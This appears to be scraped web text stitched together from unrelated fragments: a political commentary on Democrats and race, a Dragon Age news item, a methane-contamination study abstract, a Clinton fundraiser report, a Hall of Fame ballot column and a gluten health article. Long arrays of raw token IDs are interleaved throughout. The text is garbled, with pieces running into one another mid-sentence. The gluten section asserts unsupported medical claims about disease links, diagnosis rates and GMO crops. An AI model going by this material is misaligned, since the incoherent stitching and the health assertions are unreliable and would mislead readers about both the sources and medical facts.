themselves are at least trying to course correct. A not insignificant number of them have signed on to study the issue of slavery reparations, which would have been unthinkable four years ago (even Obama used to scoff at the idea), and the president obliges them with a steady diet of racist invective for them to condemn. But Democrats should not presume that black voters, so reliable and practical historically, can be wooed by any one issue or posture. They will decide the nominee by dominating primaries in states like South Carolina, and they have every right to expect an agenda and candidate who doesn’t have to assure them they’re not racist. These voters in particular will have a specific stake in this week’s debates, and they should expect to see Harris, Booker, and the other candidates of color hold not just Biden, but old school Democrats like him, accountable for their shortcomings on race. Whoever can emerge from that confrontation the least unscathed may be the best poised to claim victory over the rest of the massive Democratic field.Dragon Age to make move to consoles It seems Dragon Age could be making its way onto consoles at some point, according to BioWare co-founder Greg Zeschuk. Speaking at EA's press conference, Zeschuk was showing dark fantasy RPG, Dragon Age: Origins, when he mentioned a move over to consoles in the future was part of its long term plans. He said that he expected Dragon Age to become a major franchise "on PC and, in future, on consoles". Whether he meant Origins itself would be ported to consoles, or that new games would be developed under the Dragon Age name, he didn't say, neither did he say which consoles he had in mind - so that's another "watch this space" for now. There should be some more news on Dragon Age later on at E3 so we'll keep you in the loop, but for screenshots and more info about the upcoming PC game - head over to its website.Abstract Directional drilling and hydraulic-fracturing technologies are dramatically increasing natural-gas extraction. In aquifers overlying the Marcellus and Utica shale formations of northeastern Pennsylvania and upstate New York, we document systematic evidence for methane contamination of drinking water associated with shale-gas extraction. In active gas-extraction areas (one or more gas wells within 1 km), average and maximum methane concentrations in drinking-water wells increased with proximity to the nearest gas well and were 19.2 and 64 mg CH 4 L-1 (n = 26), a potential explosion hazard; in contrast, dissolved methane samples in neighboring nonextraction sites (no gas wells within 1 km) within similar geologic formations and hydrogeologic regimes averaged only 1.1 mg L-1 (P < 0.05; n = 34). Average δ13C-CH 4 values of dissolved methane in shallow groundwater were significantly less negative for active than for nonactive sites (-37 ± 7‰ and -54 ± 11‰, respectively; P < 0.0001). These δ13C-CH 4 data, coupled with the ratios of methane-to-higher-chain hydrocarbons, and δ2H-CH 4 values, are consistent with deeper thermogenic methane sources such as the Marcellus and Utica shales at the active sites and matched gas geochemistry from gas wells nearby. In contrast, lower-concentration samples from shallow groundwater at nonactive sites had isotopic signatures reflecting a more biogenic or mixed biogenic/thermogenic methane source. We found no evidence for contamination of drinking-water samples with deep saline brines or fracturing fluids. We conclude that greater stewardship, data, and—possibly—regulation are needed to ensure the sustainable future of shale-gas extraction and to improve public confidence in its use.Hillary Clinton’s campaign team reportedly used a static noise machine on Thursday to block reporters outside of a fundraiser in Denver from hearing her remarks. That’s according to Stan Bush, a reporter for Denver’s CBS-4, who was stationed outside of the event, which was held outdoors at the home of Colorado Gov. John Hickenlooper, a superdelegate who has endorsed Clinton. Bush said that the noise interference machine was turned on after a band — later identified as Big Head Todd and the Monsters — finished playing music and before Clinton spoke. The device was placed inside of a fence on the property and aimed in the direction of the press, Bush wrote. He posted video showing what it sounded like outside of the event before and after the machine was turned on. The device produced a low-intensity throbbing noise, much like a helicopter off in the distance. .@cascamike listen here for sound of what was turned on after the bands and just before the speeches. pic.twitter.com/GhSE15NDeN — Stan Bush (@StanBushTV) April 8, 2016 After the sound machine was
[ 15279, 7548, 32, 187, 187, 3074, 253, 625, 1921, 323, 2139, 627, 588, 320, 642, 22523, 11497, 436, 807, 310, 253, 2793, 432, 1249, 2607, 3622, 15, 309, 13, 285, 359, 13, 840, 574, 253, 1072, 2523, 275, 2820, 281, 1089, 4209, 2317, 281, 18045, 4613, 19103, 2256, 281, 11081, 984, 273, 247, 2014, 1180, 1108, 884, 1108, 326, 13, 1390, 309, 369, 8191, 13, 310, 642, 625, 20075, 273, 247, 930, 1560, 685, 667, 643, 6670, 13200, 667, 22523, 275, 667, 6132, 15, 187, 187, 34, 807, 3622, 309, 369, 6726, 281, 7617, 326, 247, 637, 323, 5207, 309, 574, 14285, 275, 512, 2045, 1107, 273, 521, 26281, 13, 36292, 28982, 13, 369, 1024, 247, 5487, 273, 3904, 326, 574, 642, 1921, 390, 987, 281, 42069, 1419, 779, 15, 187, 187, 41255, 574, 253, 1072, 2793, 15, 329, 1180, 273, 731, 1996, 14969, 326, 574, 627, 644, 642, 824, 14978, 552, 45544, 13, 597, 651, 452, 625, 685, 644, 2104, 281, 2085, 253, 767, 13008, 407, 534, 7967, 40635, 9829, 6132, 15, 187, 187, 4125, 13, 342, 253, 13024, 436, 807, 273, 747, 9183, 1108, 7902, 13, 33414, 28982, 13, 3774, 27643, 13, 3966, 15, 1108, 253, 7137, 556, 4395, 432, 3468, 3487, 3924, 281, 247, 18065, 19176, 14, 484, 15, 187, 187, 1276, 271, 34019, 13, 1881, 14, 615, 453, 839, 7548, 359, 1472, 17886, 407, 15, 187, 187, 24753, 436, 22523, 310, 1677, 253, 5667, 14578, 2316, 352, 285, 667, 20808, 273, 12974, 11684, 13, 627, 588, 320, 642, 6273, 5248, 1060, 1969, 417, 672, 3496, 15994, 2322, 275, 260, 962, 272, 4454, 492, 10628, 253, 29672, 273, 3496, 15994, 2322, 326, 690, 588, 458, 11170, 1411, 247, 1327, 14, 87, 31387, 15, 187, 187, 4527, 2282, 13, 627, 403, 32986, 17139, 665, 588, 8005, 327, 667, 1180, 273, 43679, 13, 5068, 342, 690, 273, 1110, 4454, 2908, 285, 10432, 327, 581, 637, 434, 6696, 273, 27993, 1618, 273, 17971, 15, 187, 187, 1394, 476, 3135, 13, 597, 1333, 13, 407, 23703, 253, 1161, 20264, 27, 19760, 84, 285, 48930, 561, 15, 187, 187, 1147, 434, 247, 5272, 4831, 15, 25373, 13, 309, 1859, 436, 4112, 642, 13359, 685, 1390, 807, 13, 390, 275, 2045, 1107, 15, 2732, 247, 9976, 390, 625, 273, 12906, 285, 7765, 14, 8716, 272, 309, 452, 247, 3367, 285, 21105, 35180, 1332, 323, 10620, 342, 247, 29281, 4840, 15, 187, 187, 42, 5206, 281, 6273, 323, 3773, 3692, 25829, 13, 7419, 432, 667, 2954, 342, 3045, 14, 17305, 6816, 5835, 13, 497, 13, 275, 619, 1859, 13, 29472, 26374, 6696, 273, 27993, 14, 7698, 15, 48930, 561, 285, 19760, 84, 13, 347, 7687, 784, 347, 597, 497, 342, 616, 8696, 285, 342, 616, 5165, 22095, 327, 367, 1703, 84, 1309, 271, 19513, 285, 1569, 1417, 8685, 273, 1943, 14, 41363, 14623, 13, 1509, 436, 2507, 579, 5297, 839, 314, 940, 4740, 1020, 5691, 15, 7160, 3904, 651, 452, 1912, 731, 247, 7408, 281, 15859, 39225, 604, 597, 1871, 1620, 2378, 277, 8902, 1070, 275, 253, 15649, 28399, 273, 367, 1703, 84, 15, 187, 187, 1773, 13110, 13, 3773, 665, 407, 1039, 273, 45026, 390, 14290, 1941, 1537, 452, 574, 277, 455, 18843, 342, 367, 1703, 84, 326, 4395, 616, 3904, 715, 6696, 273, 27993, 12785, 1108, 4744, 16442, 22302, 13, 46901, 5226, 1405, 9401, 13, 5769, 2577, 322, 6859, 13, 3966, 15, 1108, 403, 5868, 247, 6273, 15, 187, 187, 20517, 13, 627, 310, 642, 3215, 1215, 326, 352, 434, 247, 35755, 2097, 323, 8925, 665, 369, 4076, 285, 665, 369, 16076, 15, 1292, 642, 3595, 800, 1232, 556, 644, 2104, 281, 921, 13, 342, 667, 4248, 273, 16400, 7200, 13, 665, 858, 13, 285, 665, 1904, 626, 13, 5649, 432, 367, 1703, 84, 13, 285, 323, 849, 1048, 15, 187, 187, 1552, 310, 3782, 2032, 323, 271, 8685, 273, 4103, 271, 12638, 13, 8441, 14, 10016, 13, 672, 14623, 574, 642, 5882, 3646, 390, 4092, 2854, 14, 19462, 6576, 285, 672, 594, 1142, 3773, 497, 13756, 281, 1978, 598, 13, 3947, 25785, 13, 342, 253, 8302, 265, 15, 187, 187, 2347, 1142, 11163, 5207, 253, 19760, 84, 285, 48930, 561, 28027, 20302, 5730, 281, 24627, 403, 5549, 1242, 26569, 3773, 665, 1537, 973, 452, 644, 7166, 11733, 13, 387, 690, 1127, 13, 347, 269, 4405, 1242, 347, 253, 625, 32566, 25638, 32, 187, 187, 1145, 45823, 403, 29125, 314, 1643, 15, 2064, 13, 273, 2282, 13, 310, 271, 2523, 18032, 3139, 13, 253, 1268, 273, 367, 1703, 4833, 13, 285, 309, 1675, 1142, 665, 452, 247, 1027, 16322, 2584, 253, 367, 1703, 734, 77, 2496, 15, 329, 11697, 37171, 985, 323, 23762, 949, 253, 2779, 33815, 285, 616, 388, 10327, 4613, 19103, 6125, 760, 13, 323, 479, 13, 253, 1682, 1039, 281, 2968, 342, 6612, 15, 187, 187, 13325, 42865, 1345, 187, 187, 1989, 896, 281, 253, 22819, 56, 2446, 13, 534, 275, 12699, 342, 6696, 273, 27993, 23289, 13, 2589, 84, 253, 15859, 39225, 6273, 15, 187, 187, 34, 807, 3622, 13, 359, 574, 247, 10237, 5955, 273, 253, 884, 14, 1342, 2701, 387, 247, 11306, 14, 1595, 1834, 22819, 56, 2446, 4804, 21051, 10912, 387, 253, 17802, 35404, 723, 15, 329, 9353, 369, 4447, 281, 1263, 253, 884, 14, 1342, 2701, 15, 187, 187, 1147, 369, 18343, 13, 11697, 275, 271, 299, 14, 5719, 4857, 281, 22819, 56, 2446, 6251, 13, 326, 253, 884, 14, 1342, 2701, 320, 11848, 1108, 436, 807, 1108, 281, 3693, 253, 1077, 502, 12216, 285, 16888, 20142, 326, 11163, 1024, 2454, 327, 271, 48312, 11096, 22523, 15, 187, 187, 16440, 556, 4592, 15, 26013, 24586, 1818, 476, 1379, 673, 15, 1292, 627, 403, 39722, 26340, 326, 452, 644, 2839, 1245, 275, 12217, 673, 685, 651, 452, 644, 2424, 281, 1056, 253, 4344, 285, 5272, 7466, 327, 436, 807, 434, 6696, 273, 27993, 22523, 15, 187, 187, 42, 1024, 1364, 1642, 27, 1359, 1142, 3773, 588, 6604, 7967, 40635, 436, 807, 275, 417, 6883, 247, 4209, 7155, 273, 13008, 1108, 6879, 2558, 310, 2424, 323, 6132, 1108, 984, 247, 22523, 574, 41544, 3562, 33183, 326, 2378, 1537, 452, 644, 12207, 533, 642, 3356, 4647, 32, 187, 187, 2347, 1142, 11163, 588, 320, 6726, 13, 347, 309, 369, 13, 281, 7617, 534, 4760, 18338, 273, 546, 1200, 11078, 1003, 369, 8489, 1679, 18338, 273, 6306, 387, 15859, 39225, 1735, 4163, 685, 253, 884, 281, 534, 309, 1353, 3710, 32, 187, 187, 1552, 310, 4858, 432, 1529, 12678, 309, 1849, 19186, 1160, 1108, 326, 512, 6696, 273, 27993, 42865, 320, 1160, 1345, 15, 733, 651, 564, 247, 1048, 1039, 281, 5416, 326, 1805, 42865, 285, 625, 30990, 310, 1160, 629, 273, 271, 9592, 46807, 26479, 327, 1110, 665, 9142, 9370, 15859, 39225, 15, 187, 187, 42, 369, 2183, 407, 22819, 56, 2446, 6338, 436, 807, 326, 253, 6696, 273, 27993, 39682, 971, 42865, 281, 320, 3055, 15, 1244, 309, 476, 626, 323, 253, 1495, 273, 479, 4677, 562, 2139, 326, 651, 320, 9371, 390, 3309, 15, 496, 958, 13, 352, 434, 247, 3646, 347, 4354, 16733, 728, 347, 2509, 1977, 342, 253, 884, 14, 1342, 2701, 15, 1292, 359, 871, 849, 326, 34623, 369, 1313, 275, 4059, 285, 627, 310, 642, 1524, 3524, 326, 1345, 13911, 273, 13008, 588, 5108, 667, 673, 3517, 15, 187, 187, 1989, 253, 884, 14, 1342, 2701, 13, 1840, 512, 285, 4745, 13, 1364, 320, 14287, 13, 285, 417, 760, 984, 12165, 6696, 273, 27993, 21782, 4317, 403, 1146, 4934, 432, 546, 1200, 11078, 3658, 597, 13, 285, 512, 273, 14623, 13, 17337, 281, 923, 25146, 15, 187, 187, 1147, 434, 984, 273, 1633, 1014, 625, 18511, 326, 436, 19082, 1030, 14365, 3198, 281, 320, 364, 16970, 13, 18319, 15, 187, 187, 1147, 434, 1929, 347, 1846, 3282, 15, 1244, 326, 310, 247, 1232, 281, 534, 359, 1472, 512, 1925, 15, 187, 187, 314, 9866, 15, 864, 920, 33, 5992, 14790, 13608, 15, 681, 187, 187, 31068, 15, 681, 16, 45, 38051, 64, 22930, 920, 1276, 310, 4051, 10284, 32, 187, 187, 3463, 871, 368, 452, 3164, 3735, 273, 33666, 13, 533, 752, 310, 352, 32, 4051, 10284, 310, 253, 2601, 1119, 275, 18173, 534, 476, 320, 7154, 1066, 715, 16439, 36877, 285, 33666, 249, 15, 443, 965, 36877, 310, 253, 5110, 273, 33666, 326, 9347, 684, 253, 7026, 2380, 275, 33666, 7340, 15, 1723, 13, 3332, 2561, 6492, 326, 33666, 7996, 4292, 778, 8071, 281, 33666, 249, 347, 973, 15, 187, 187, 4509, 19786, 824, 347, 18173, 285, 39913, 13, 281, 6882, 3825, 824, 347, 465, 11429, 484, 285, 22462, 20301, 13, 33666, 556, 2489, 247, 37891, 275, 253, 2448, 6196, 15, 6295, 10748, 12952, 275, 1846, 19786, 285, 908, 347, 271, 2739, 21842, 13, 352, 310, 7552, 9592, 2834, 281, 4271, 285, 3693, 12134, 4508, 33666, 15, 9030, 10284, 556, 644, 7939, 281, 625, 685, 7288, 6578, 285, 271, 5998, 8688, 6, 273, 952, 665, 452, 2057, 260, 7876, 317, 390, 1327, 14, 6226, 14427, 33666, 7340, 403, 1620, 11245, 15, 15745, 403, 690, 41954, 9990, 2, 187, 187, 39204, 23626, 4051, 10284, 708, 10672, 968, 187, 187, 35, 1088, 13, 27725, 13, 285, 42725, 778, 320, 253, 7744, 7478, 43412, 84, 13, 533, 643, 19786, 285, 1791, 9181, 943, 671, 320, 20184, 323, 672, 352, 3249, 281, 33666, 7340, 15, 38365, 80, 19786, 824, 347, 572, 2610, 66, 285, 1791, 9181, 671, 452, 2074, 4324, 7939, 281, 13584, 90, 11479, 15, 44560, 281, 253, 6628, 12134, 476, 4723, 16356, 1341, 13, 2794, 26665, 33138, 275, 253, 11479, 27535, 13, 22846, 253, 3116, 273, 25824, 9574, 13, 2847, 14689, 31561, 13, 285, 13201, 253, 3727, 273, 36013, 12807, 15, 187, 187, 1231, 6008, 253, 8357, 5110, 273, 841, 6244, 534, 310, 10323, 253, 4444, 457, 84, 26223, 323, 21068, 15, 44943, 253, 4444, 2789, 17110, 281, 1234, 293, 22392, 285, 11907, 17355, 253, 8357, 323, 3116, 15, 733, 310, 841, 10748, 12952, 1234, 437, 592, 326, 476, 2847, 271, 10142, 2380, 323, 3095, 342, 25787, 2728, 15, 5488, 13, 672, 7497, 246, 37211, 342, 841, 6244, 285, 2794, 24663, 7321, 313, 40, 6329, 10, 9508, 273, 253, 344, 2587, 6188, 19112, 13, 253, 6244, 2489, 28136, 281, 4197, 1014, 625, 273, 253, 3626, 13188, 26685, 15, 2053, 443, 6329, 19786, 285, 1791, 9181, 943, 8839, 320, 16371, 323, 3780, 342, 25787, 2728, 15, 187, 187, 39090, 1200, 796, 15737, 187, 187, 10971, 13, 2360, 1200, 3355, 3831, 247, 2074, 12107, 9548, 281, 326, 273, 19786, 285, 1791, 9181, 15, 1916, 3780, 4122, 7996, 13, 253, 1618, 273, 15737, 2708, 943, 671, 320, 16371, 27, 187, 187, 15883, 4611, 187, 187, 15883, 255, 16078, 187, 187, 47, 21735, 75, 6077, 187, 187, 38, 1266, 8186, 187, 187, 29255, 4611, 313, 911, 10811, 7353, 14408, 10, 187, 187, 6432, 3803, 313, 30076, 3511, 285, 7353, 19112, 13, 347, 973, 347, 37484, 751, 13860, 32410, 13, 45568, 11687, 13, 260, 333, 22217, 13, 285, 19660, 284, 1940, 10, 187, 187, 9030, 10284, 285, 2070, 22560, 39205, 187, 187, 9030, 10284, 310, 417, 4354, 38780, 594, 634, 11479, 556, 281, 789, 1892, 281, 1232, 352, 15, 30011, 4355, 689, 25869, 285, 322, 5472, 48, 476, 906, 432, 31561, 273, 19632, 11479, 9574, 562, 9133, 272, 253, 5875, 9574, 15, 380, 2133, 44865, 407, 36300, 271, 7026, 985, 2380, 13, 20362, 352, 457, 84, 1211, 7944, 285, 28502, 253, 3275, 273, 1182, 251, 6236, 13, 247, 2601, 326, 18653, 16356, 25566, 285, 13584, 90, 11479, 15, 187, 187, 36, 7876, 317, 18742, 4632, 15, 8758, 14, 36, 7876, 317, 4051, 10284, 50132, 187, 187, 1147, 457, 84, 2590, 326, 33666, 7340, 11852, 4583, 1786, 285, 327, 253, 625, 5460, 990, 273, 253, 6637, 13, 1029, 33666, 7340, 476, 906, 275, 253, 25787, 2728, 1929, 347, 260, 7876, 317, 2728, 15, 2214, 3095, 342, 260, 7876, 317, 2728, 13, 667, 33666, 5445, 5997, 253, 7026, 985, 281, 3794, 8479, 6722, 10696, 285, 28153, 273, 253, 22496, 313, 23802, 10, 10649, 15, 4527, 512, 253, 6578, 326, 2965, 762, 253, 25787, 33265, 13, 260, 7876, 317, 2728, 310, 253, 760, 25787, 2728, 326, 556, 247, 1480, 5921, 342, 5445, 281, 247, 2176, 2739, 285, 32992, 273, 534, 476, 320, 37350, 407, 17816, 8353, 273, 326, 2739, 15, 187, 187, 6436, 352, 457, 84, 1774, 281, 3877, 326, 1223, 260, 7876, 317, 2728, 556, 2489, 247, 625 ]	unnecessary boundary? All the more reason for why there will be no ballot participation this year is the experience from 12 months ago. I, and we, then had the same issue in trying to find sufficient space to accommodate candidacies subject to discrimination because of a single number – 10 – that, last I was informed, is no more sacred of a numeral than any other digit governing any ballot in any election. A year ago I was forced to decide that a man for whom I had voted in all previous years of his eligibility, Edgar Martinez, was now a victim of numbers that had no reason or right to disqualify him. Others had the same experience. A number of them later acknowledged that had there been no such exclusionary quota, they would have more than been able to provide the two votes by which Biggio missed election. Now, with the arrival this year of new candidates – Johnson, Pedro Martinez, Smoltz, etc. – the traffic has moved from slowdown stage to a certified pile-up. What an embarrassing, self-defeating boundary we're governed by. Until this ballot is given the essential breathing room it and any pursuit of integrity demands, there will be no vote cast here -- not when irresponsibility in culling names trumps the accusations of irresponsibility that some will levy against a non-voter. Of course, there are furious critics who will protest on any number of fronts, beginning with some of those names included and excluded on one man's Hall of Fame list of preferences. You can begin, they say, by eliminating the cheaters: Bonds and Clemens. It's a reasonable demand. Except, I view this situation no differently than last year, or in previous years. After a decade or more of reflection and soul-searching I have a personal and wholly imperfect method for dealing with a hopeless mess. I choose to vote for players whose careers, apart from any relationship with performance-enhancing drugs, were, in my view, unambiguously Hall of Fame-grade. Clemens and Bonds, as odious as they were with their lies and with their apparent reliance on PEDs during an ugly and lawless era of big-league baseball, pass this excruciatingly distasteful challenge. Their numbers would have won them a trip to Cooperstown if they'd never once dabbled in the ugliness of PEDs. Conversely, players who by way of circumstantial or documented evidence might have had dalliances with PEDs that moved their numbers into Hall of Fame territory – Mark McGwire, Rafael Palmeiro, Sammy Sosa, etc. – are denied a vote. Again, there is no pretense that it's a distilled means for determining who was clean and who was dirty. But no evaluative process has been able to show, with any degree of overwhelming accuracy, who did, and who didn't, benefit from PEDs, and for how long. This is particularly true for an era of relative anarchy, 1996-2002, when baseball had no firm policy or serious drug-testing apparatus and when so many players were attempting to keep up, competitively, with the Joneses. How many voters whom the Bonds and Clemens vigilantes wish to hammer are naively blessing players who might well have been juicing, at some point, as furtively as the more notorious suspects? Answers are frustratingly few. That, of course, is an issue unto itself, the level of PED influence, and I respect many who have a different disposition toward the PED interlude. A personally crafted system for sorting through the likely offenders and their HOF candidacies represents only, for me, the best way to deal with reality. Make ballots public But back to the BBWAA, which in concert with Hall of Fame executives, conducts the Cooperstown vote. A year ago, we had a robust discussion of the 10-man limit at a heavily-attended BBWAA meeting annually arranged at the Winter Meetings. A committee was formed to study the 10-man limit. It was urged, personally in an e-mail letter to BBWAA officers, that the 10-man limit be expanded – this year – to avoid the very clutter and marginal chaos that voters now face on an unnecessarily restricted ballot. Nothing has happened. Anyone understands change can take time. But there are Constitutional amendments that have been ratified in shorter time than would have been required to make the fair and reasonable expansion on this year's Hall of Fame ballot. I now must ask: How many players will join Biggio this year in not receiving a sufficient percentage of votes – 75 percent is required for election – because a ballot had artificially created contours that once might have been acceptable but no longer apply? How many voters will be forced, as I was, to decide which player worthy of enshrinement was somewhat less worthy of standing at Cooperstown next July than the 10 to which I'm limited? This is separate from another plea I've formally made – that all Hall of Fame ballots be made public. It would go a long way to ensure that better ballots and more accountability is made part of an increasingly unpopular referendum on those who ultimately crack Cooperstown. I was told by BBWAA officials this year that the Hall of Fame bosses want ballots to be private. And I can't for the life of me figure out why that would be helpful or necessary. In fact, it's a policy as easily remedied as doing away with the 10-man limit. But we know how that urgency was met in 2014 and there is no real hope that public disclosure of votes will happen any time soon. But the 10-man limit, above all and immediately, must be lifted, and not only because qualified Hall of Fame inductees are being kept from enshrinements they, and all of baseball, deserve to see fulfilled. It's because of something even more compelling that this ridiculous constriction needs to be whacked, instantly. It's known as common sense. And that is a process to which we're all called. lynn.henning@detroitnews.com Twitter.com/Lynn_HenningWhat is Gluten? By know you have probably heard of gluten, but what is it? Gluten is the protein found in wheat which can be broken down into gliadin and glutenin. Gliadin is the portion of gluten that initiates the immune response in gluten sensitivity. However, recent research indicates that gluten sensitive individuals may react to glutenin as well. From grains such as wheat and barley, to condiments such as ketchup and salad dressing, gluten has become a staple in the American diet. Both naturally occurring in common grains and used as an food additive, it is becoming increasingly difficult to identify and avoid foods containing gluten.Gluten has been linked to more than 55 diseases and an estimated 99% of people who have either celiac or non-celiac gluten sensitivity are never diagnosed.Those are some staggering statistics! Going Beyond Gluten & Grains Bread, pasta, and cereal may be the commonly recognized culprits, but other grains and legumes should also be accounted for when it comes to gluten sensitivity. Pseudo grains such as quinoa and legumes also have similar proteins linked to leaky gut. Exposure to theses foods can damage intestinal cells, create porous junctions in the gut lining, foster the growth of unwanted bacteria, cause hormone imbalance, and disrupt the release of digestive enzymes. We eat the seed portion of these plants which is basically the plant’s embryo for reproduction. Naturally the plant makes chemicals to repel insects and encourage spreading the seed for growth. It is these naturally occurring repellents that can cause an inflammatory response for someone with autoimmune disease. Furthermore, when humans tinker with these plants and create genetically modified (GMO) versions of the heirloom varieties, the plants become engineered to produced even more of the natural insecticides. These GMO grains and legumes should absolutely be avoided for anyone with autoimmune disease. Nightshade vegetables Finally, nightshades contain a similar protective enzyme to that of grains and legumes. To anyone highly sensitive, the list of vegetables below should also be avoided: Tomato Tomatillo Naranjilla Eggplant Potato (excludes sweet potato) Pepper (includes hot and sweet varieties, as well as spices like paprika, chili powder, cayenne, and Tabasco) Gluten and Leaky Gut Gluten is not easily digested so your gut has to work hard to process it. Candida overgrowth and SIBO can result from imbalance of harmful gut bacteria outnumbering the healthy bacteria. The body reacts by initiating an immune system response, attacking it’s own tissues and stimulating the production of zonulin, a protein that promotes intestinal permeability and leaky gut. Celiac Disease vs. Non-Celiac Gluten Sensitivity It’s clear that gluten sensitivity affects overall health and on the more severe end of the spectrum, high gluten sensitivity can result in the autoimmune disease known as celiac disease.For someone with celiac disease, any gluten exposure causes the immune system to respond causing chronic inflammation and deterioration of the gastrointestinal (GI) tract.Of all the diseases that fall under the autoimmune umbrella, celiac disease is the only autoimmune disease that has a direct correlation with exposure to a certain food and advancement of which can be halted by avoiding consumption of that food. However it’s important to note that while celiac disease has become a more
[ 15, 187, 187, 883, 394, 285, 1249, 394, 2956, 10094, 187, 187, 7878, 9260, 11009, 2868, 326, 253, 17335, 16860, 275, 253, 10515, 5791, 812, 1390, 323, 1107, 13, 534, 588, 1056, 4343, 275, 253, 2919, 1014, 625, 15211, 323, 253, 401, 14, 1671, 22161, 11720, 13, 2783, 281, 320, 253, 22812, 273, 3968, 434, 2852, 47521, 273, 8914, 15, 380, 6415, 13, 253, 1533, 434, 954, 8214, 8914, 2199, 13, 556, 41088, 13789, 285, 556, 644, 39809, 11306, 281, 5284, 285, 11650, 17760, 15, 733, 556, 417, 2568, 644, 7690, 69, 1070, 281, 8365, 17760, 984, 273, 7350, 670, 24279, 5143, 434, 4668, 5024, 15, 187, 187, 1989, 342, 253, 6654, 273, 1612, 275, 253, 10515, 5791, 275, 8868, 13, 2067, 5684, 26154, 753, 326, 812, 1818, 15, 7422, 310, 247, 2201, 6174, 29622, 281, 7751, 13, 285, 247, 3061, 407, 3918, 31563, 657, 15, 22404, 281, 5580, 271, 7269, 2329, 5684, 985, 281, 7751, 812, 2572, 4831, 323, 253, 401, 14, 1671, 13, 534, 310, 2779, 281, 452, 253, 3745, 281, 34165, 7247, 14, 12710, 25774, 15, 187, 187, 1166, 394, 2956, 10094, 187, 187, 39333, 23552, 247, 1569, 275, 4695, 10568, 326, 6174, 6224, 1581, 5143, 281, 6558, 247, 346, 15847, 6716, 4668, 5024, 3, 275, 253, 2919, 15, 1876, 6224, 281, 253, 10515, 5791, 403, 6760, 1754, 327, 849, 597, 588, 2818, 13389, 4668, 34385, 15, 1292, 253, 6729, 5286, 556, 671, 11575, 11138, 253, 14269, 3927, 273, 3609, 8365, 12390, 1905, 1110, 326, 923, 7751, 347, 247, 4322, 275, 253, 2919, 1905, 347, 4619, 281, 13389, 3988, 15, 535, 3944, 1358, 2700, 15, 79, 1767, 1022, 15, 681, 16, 6620, 16, 2125, 16, 746, 16, 10186, 16, 16389, 26139, 16, 39019, 14, 1171, 14, 316, 14, 15326, 14, 19766, 1241, 14, 783, 14, 88, 1032, 14, 1171, 14, 274, 357, 14, 21196, 15, 2974, 32, 709, 30, 16389, 26139, 7, 64, 83, 30, 17, 187, 187, 3404, 253, 1563, 10518, 6995, 1334, 3929, 13, 18879, 346, 35, 9226, 2296, 253, 1982, 686, 7110, 5143, 434, 896, 8, 347, 344, 16966, 281, 7257, 747, 401, 14, 1671, 22161, 24825, 995, 4162, 4104, 13, 368, 476, 1239, 326, 253, 7108, 403, 4680, 670, 6941, 253, 7289, 273, 401, 14, 1671, 281, 1097, 253, 40968, 285, 253, 39004, 13, 275, 1340, 323, 1097, 273, 731, 281, 1928, 625, 7895, 670, 253, 2448, 14, 38824, 757, 18737, 287, 1962, 420, 15, 1292, 597, 403, 4680, 670, 10156, 253, 401, 14, 1671, 806, 281, 253, 40968, 13, 285, 1264, 1107, 1996, 281, 253, 39004, 13, 2686, 281, 1986, 8365, 47229, 13, 275, 1340, 323, 253, 40968, 281, 1335, 452, 271, 5750, 689, 616, 8365, 15833, 15, 7764, 3877, 326, 253, 7108, 513, 417, 971, 281, 5580, 352, 281, 16158, 20498, 13, 285, 597, 4510, 281, 5580, 352, 281, 253, 1986, 8365, 47229, 3185, 15, 187, 187, 18, 296, 2956, 10094, 187, 187, 3251, 22230, 281, 11990, 530, 15, 52, 8634, 25054, 74, 29005, 13, 17979, 3918, 9915, 26656, 327, 8216, 12316, 5143, 6742, 273, 1755, 14, 31045, 22161, 24825, 1735, 807, 281, 6558, 697, 4668, 5024, 285, 40818, 326, 667, 2457, 6069, 2968, 342, 7751, 651, 5416, 5143, 434, 3988, 15, 187, 187, 20, 5784, 285, 577, 394, 2956, 10094, 187, 187, 35, 9226, 1912, 41958, 432, 247, 354, 14, 25054, 8446, 672, 344, 2183, 731, 253, 1986, 2077, 651, 3135, 6742, 273, 19989, 45217, 8698, 434, 747, 401, 14, 1671, 24825, 281, 697, 25550, 1735, 807, 13, 2403, 5143, 253, 760, 2586, 275, 253, 10515, 5791, 281, 452, 253, 747, 41088, 2137, 13568, 15, 187, 187, 1989, 344, 369, 1313, 342, 10837, 672, 344, 294, 2843, 4504, 530, 15, 52, 15, 1329, 323, 247, 767, 14, 3409, 2900, 281, 253, 13389, 14, 16281, 383, 34923, 7344, 13, 271, 512, 2035, 281, 5219, 3995, 21915, 281, 39094, 434, 5701, 1390, 1770, 20278, 5545, 327, 521, 11847, 281, 247, 19018, 1375, 15, 535, 3944, 1358, 2700, 15, 21616, 968, 1334, 15, 681, 16, 7299, 257, 14, 783, 14, 316, 14, 7110, 14, 261, 376, 1241, 14, 2135, 14, 284, 14, 1826, 14, 71, 14, 1671, 84, 14, 609, 14, 1178, 14, 1542, 14, 7555, 6106, 14, 6620, 14, 21, 32, 23838, 64, 12812, 64, 250, 453, 6554, 30, 18, 7, 307, 78, 64, 6756, 30, 52, 647, 394, 579, 7, 307, 78, 64, 28672, 30, 12812, 7, 307, 78, 64, 3945, 30, 27270, 6, 938, 14794, 1334, 6, 938, 10004, 7, 307, 78, 64, 49686, 30, 6159, 6, 938, 10004, 6, 938, 6, 1619, 28781, 6, 938, 25897, 6, 1717, 6, 938, 6620, 14, 2125, 14, 1348, 7, 307, 78, 64, 6071, 30, 35, 1830, 13467, 187, 187, 17756, 253, 1534, 7756, 275, 253, 7247, 14, 25054, 74, 2493, 943, 417, 320, 2326, 347, 625, 1774, 685, 352, 310, 13, 984, 352, 310, 760, 253, 7108, 665, 476, 1978, 253, 40968, 9338, 13, 285, 984, 7751, 310, 323, 7422, 247, 1199, 625, 1774, 2586, 685, 5143, 15, 1310, 7751, 21936, 281, 5580, 697, 3626, 3678, 285, 4166, 281, 3060, 352, 588, 3012, 8513, 7422, 434, 5054, 6284, 15, 3813, 253, 40968, 285, 253, 24794, 476, 29406, 1077, 973, 1411, 616, 1846, 9054, 13, 534, 310, 253, 8033, 1346, 665, 403, 17245, 407, 14307, 285, 38372, 13, 533, 627, 310, 247, 2701, 281, 436, 15850, 984, 253, 40968, 878, 253, 7108, 285, 253, 24794, 878, 253, 7751, 2458, 15, 187, 187, 1909, 368, 476, 923, 387, 253, 1563, 26654, 2829, 5143, 556, 247, 24820, 313, 13074, 6021, 10, 273, 7469, 6494, 8918, 13, 285, 16158, 20498, 13, 253, 1986, 8365, 47229, 13, 14307, 285, 7751, 452, 247, 2264, 24820, 273, 374, 15, 21, 28126, 8918, 15, 1244, 326, 310, 1293, 3192, 715, 2395, 1142, 643, 8365, 285, 8797, 4343, 273, 253, 2919, 